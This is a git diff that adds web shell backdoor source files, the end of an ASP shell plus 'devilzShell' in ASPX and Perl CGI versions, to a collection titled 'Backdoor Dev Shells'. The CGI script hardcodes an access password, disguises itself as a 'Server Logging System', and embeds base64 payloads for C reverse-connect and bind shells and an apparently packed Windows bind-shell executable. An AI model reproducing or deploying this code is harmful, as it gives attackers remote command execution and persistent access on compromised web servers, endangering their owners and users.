" +End If +If Not Uploaded Then + If((Request.QueryString("cmd") <> "") Or (Request.Form("passw") <> "")) Then + html_onload = "onload=""document.getElementById('cmd').focus();""" + Else + html_onload = "" + End If +End If +html_final = "" &_ +"" &_ +"" &_ +"" & html_head & "" &_ +"" &_ +"" &_ +"
" &_ +"" & html_body & "" &_ +"
" &_ +"" &_ +"" +Response.BinaryWrite(html_final) +%> \ No newline at end of file diff --git a/Backdoor Dev Shells/Source/devilzShell.aspx b/Backdoor Dev Shells/Source/devilzShell.aspx new file mode 100644 index 0000000..b342cdb --- /dev/null +++ b/Backdoor Dev Shells/Source/devilzShell.aspx @@ -0,0 +1,1244 @@ +<% +'# +'# devilzShell <[aspx]> +'# ^^^^^^^^^^^^ +'# author: b374k +'# greets: devilzc0der(s) and all of you who love peace and freedom +'# +'# +'# ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ +'# Jayalah Indonesiaku +%> + + +<%@ Page Language="VB" Debug="true" trace="false" validateRequest="false" EnableViewStateMac="false" EnableViewState="true"%> +<%@ import Namespace="System.IO"%> +<%@ import Namespace="System.Diagnostics"%> +<%@ import Namespace="Microsoft.Win32"%> +<%@ import Namespace="System.Net.Sockets" %> +<%@ import Namespace="System.Net" %> +<%@ import Namespace="System.Runtime.InteropServices"%> +<%@ import Namespace="System.Text.RegularExpressions"%> +<%@ Import Namespace="System.Threading"%> + + + + + + +
+
+

+
+
+ + + + + + +
+
+
+ + + +
+
+ + \ No newline at end of file diff --git a/Backdoor Dev Shells/Source/devilzShell.cgi b/Backdoor Dev Shells/Source/devilzShell.cgi new file mode 100644 index 0000000..23d00cc --- /dev/null +++ b/Backdoor Dev Shells/Source/devilzShell.cgi @@ -0,0 +1,1429 @@ +#!/usr/bin/perl +## +## devilzShell <[cgi]> +## ^^^^^^^^^^^^ +## author: b374k +## greets: devilzc0der(s) and all of you who love peace and freedom +## +## +## ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ +## Jayalah Indonesiaku + + +################## VARIABLES GOES HERE #######################=============================================] +$shell_name = "devilzShell"; +$shell_fake_name = "Server Logging System"; +$shell_title = " :: ".$shell_name." ::"; +$shell_version = "v1"; +$shell_password = "devilzc0der"; +$shell_fav_port = "12345"; +$shell_color = "#374374"; + +# server software +$xSoftware = &trim($ENV{"SERVER_SOFTWARE"}); +# uname -a +$xSystem = &trim($^O); +# server ip +$xServerIP = &trim($ENV{"SERVER_ADDR"}); +# your ip ;-) +$xClientIP = &trim($ENV{'REMOTE_ADDR'}); + +$xHeader = $xSoftware."
".$xSystem."
Server IP: [ ".$xServerIP." ]   Your IP: [ ".$xClientIP." ]"; + +$base64_alphabet = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/'; +$base64_pad = '='; +$uuencode_alphabet = q|`!"#$%&'()*+,-./0123456789:;<=>?|.'@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_'; +$uuencode_pad = '`'; +$tr_uuencode = " ".$uuencode_alphabet; +$tr_uuencode =~ s/(\W)/\\$1/g; +$tr_base64 = "A".$base64_alphabet; +$tr_base64 =~ s/(\W)/\\$1/g; +################# RESOURCES GOES HERE #######################=============================================] +$icon = "iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAYAAAAf8/9hAAAB/klEQVR42o2RS2gUQRCGq7rHB0rw +4miwFWVmPSmIHpaQSwQD4ivGKHsImIOyBhJETUDjRaMIEjTk4gNFIutBwScY8eBh9aBgyCGCiKu4 +E4kzBk0uimiI21XWwgbMorOppumuKuqr6r8RZmnjxl8iR0H2DzfKT03HsVLhV+Ove4rc8xk4uYtx +dCHgGQHc/SdAuqwZB9jCAE7RnwLGR8hHbiK5/aQzCcC0FP/+u2YG4KPx2+p14SKVTbFIiPdI7/ei +oL98whmAt8bv3O7Y89sIv29kzOpSvENR41lSD1Jh0BQLeGf8jq3a9nayetX2KVhfeta8Gm0nuwgH +0+FITSxgzPgtm3Qhs5qR+kgfqwIYGgVuTmk60EPq/p4w2B0LkG5+l7I5Ud3BUsoBBlc0uEVOakWU +vxMLKNqA8V4c0rZWyZ0lzbI2M9rTpNfKD+RiAV+MX9eiCs9+yV2ecLkacPgaUvcNxcuuWHW9Pgr2 +xQJeGu9Us7YnjpMaFsE2FGOh8dN12l49SjjUGo4kYwE54x3eqW3fXlJjrawSMvLPN8brbtB08hyp +gaYwaIgFTJjE0l5l3wfAVRdIN4qQT8T/dht5btbq9pVR/lJFEUWHWhF9fnWUzxb9x8u9hwcV7ZjO +D1rHXRx9mPgvoNxkqjmTwKnXyMlVgAtcxucCyMwaUMn+AMvLzBHNivq3AAAAAElFTkSuQmCC"; +$bg = "iVBORw0KGgoAAAANSUhEUgAAAAMAAAADCAYAAABWKLW/AAAAJklEQVR42mNkAAIpKan/b968YWAE +MZ49ewamGdnY2P6LiIgwgAQA8xYNYheotNcAAAAASUVORK5CYII="; +$xBack ="I2luY2x1ZGUgPHN0ZGlvLmg+DQojaW5jbHVkZSA8c3lzL3NvY2tldC5oPg0KI2luY2x1ZGUgPG5l +dGluZXQvaW4uaD4NCmludCBtYWluKGludCBhcmdjLCBjaGFyICphcmd2W10pDQp7DQogaW50IGZk +Ow0KIHN0cnVjdCBzb2NrYWRkcl9pbiBzaW47IA0KIGRhZW1vbigxLDApOw0KIHNpbi5zaW5fZmFt +aWx5ID0gQUZfSU5FVDsNCiBzaW4uc2luX3BvcnQgPSBodG9ucyhhdG9pKGFyZ3ZbMV0pKTsNCiBz +aW4uc2luX2FkZHIuc19hZGRyID0gaW5ldF9hZGRyKGFyZ3ZbMl0pOyANCiBiemVybyhhcmd2WzJd +LHN0cmxlbihhcmd2WzJdKSsxK3N0cmxlbihhcmd2WzFdKSk7IA0KIGZkID0gc29ja2V0KEFGX0lO +RVQsIFNPQ0tfU1RSRUFNLCBJUFBST1RPX1RDUCkgOyANCiBpZiAoKGNvbm5lY3QoZmQsIChzdHJ1 +Y3Qgc29ja2FkZHIgKikgJnNpbiwgc2l6ZW9mKHN0cnVjdCBzb2NrYWRkcikpKTwwKSB7DQogICBw +ZXJyb3IoIlstXSBjb25uZWN0KCkiKTsNCiAgIGV4aXQoMCk7DQogfQ0KIGR1cDIoZmQsIDApOw0K +IGR1cDIoZmQsIDEpOw0KIGR1cDIoZmQsIDIpOw0KIGV4ZWNsKCIvYmluL3NoIiwic2giLChjaGFy +ICopMCk7IA0KIGNsb3NlKGZkKTsgDQp9"; +$xBind = "I2luY2x1ZGUgPHN0ZGlvLmg+DQojaW5jbHVkZSA8c3RyaW5nLmg+DQojaW5jbHVkZSA8c3lzL3R5 +cGVzLmg+DQojaW5jbHVkZSA8c3lzL3NvY2tldC5oPg0KI2luY2x1ZGUgPG5ldGluZXQvaW4uaD4N +CiNpbmNsdWRlIDxlcnJuby5oPg0KaW50IG1haW4oYXJnYyxhcmd2KQ0KaW50IGFyZ2M7DQpjaGFy +ICoqYXJndjsNCnsgIA0KIGludCBzb2NrZmQsIG5ld2ZkOw0KIHN0cnVjdCBzb2NrYWRkcl9pbiBy +ZW1vdGU7DQogaWYoZm9yaygpID09IDApIHsgDQogcmVtb3RlLnNpbl9mYW1pbHkgPSBBRl9JTkVU +Ow0KIHJlbW90ZS5zaW5fcG9ydCA9IGh0b25zKGF0b2koYXJndlsxXSkpOw0KIHJlbW90ZS5zaW5f +YWRkci5zX2FkZHIgPSBodG9ubChJTkFERFJfQU5ZKTsgDQogc29ja2ZkID0gc29ja2V0KEFGX0lO +RVQsU09DS19TVFJFQU0sMCk7DQogaWYoIXNvY2tmZCkgcGVycm9yKCJzb2NrZXQgZXJyb3IiKTsN +CiBiaW5kKHNvY2tmZCwgKHN0cnVjdCBzb2NrYWRkciAqKSZyZW1vdGUsIDB4MTApOw0KIGxpc3Rl +bihzb2NrZmQsIDUpOw0KIHdoaWxlKDEpDQogIHsNCiAgIG5ld2ZkPWFjY2VwdChzb2NrZmQsMCww +KTsNCiAgIGR1cDIobmV3ZmQsMCk7DQogICBkdXAyKG5ld2ZkLDEpOw0KICAgZHVwMihuZXdmZCwy +KTsgICANCiAgIGV4ZWNsKCIvYmluL3NoIiwic2giLChjaGFyICopMCk7IA0KICAgY2xvc2UobmV3 +ZmQpOw0KICB9DQogfQ0KfQ0KaW50IGNocGFzcyhjaGFyICpiYXNlLCBjaGFyICplbnRlcmVkKSB7 +DQppbnQgaTsNCmZvcihpPTA7aTxzdHJsZW4oZW50ZXJlZCk7aSsrKSANCnsNCmlmKGVudGVyZWRb +aV0gPT0gJ1xuJykNCmVudGVyZWRbaV0gPSAnXDAnOyANCmlmKGVudGVyZWRbaV0gPT0gJ1xyJykN +CmVudGVyZWRbaV0gPSAnXDAnOw0KfQ0KaWYgKCFzdHJjbXAoYmFzZSxlbnRlcmVkKSkNCnJldHVy +biAwOw0KfQ=="; +$wBind="TVqQAAMAAAAEAAAA//8AALgAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA +AAAAyAAAAA4fug4AtAnNIbgBTM0hVGhpcyBwcm9ncmFtIGNhbm5vdCBiZSBydW4gaW4gRE9TIG1v +ZGUuDQ0KJAAAAAAAAAA0GAk5cHlnanB5Z2pweWdqmGZsanF5Z2rzZWlqenlnanB5ZmpNeWdqEmZ0 +and5Z2qYZm1qanlnalJpY2hweWdqAAAAAAAAAABQRQAATAEDAIkLlD8AAAAAAAAAAOAADwELAQYA +ADAAAAAQAAAAQAAAYHIAAABQAAAAgAAAAABAAAAQAAAAAgAABAAAAAAAAAAEAAAAAAAAAACQAAAA +EAAAAAAAAAIAAAAAABAAABAAAAAAEAAAEAAAAAAAABAAAAAAAAAAAAAAAACAAAAIAQAAAAAAAAAA +AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA +AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAFVQWDAAAAAA +AEAAAAAQAAAAAAAAAAQAAAAAAAAAAAAAAAAAAIAAAOBVUFgxAAAAAAAwAAAAUAAAACQAAAAEAAAA +AAAAAAAAAAAAAABAAADgVVBYMgAAAAAAEAAAAIAAAAACAAAAKAAAAAAAAAAAAAAAAAAAQAAAwAAA +AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA +AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA +AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA +AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA +AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA +AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA +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 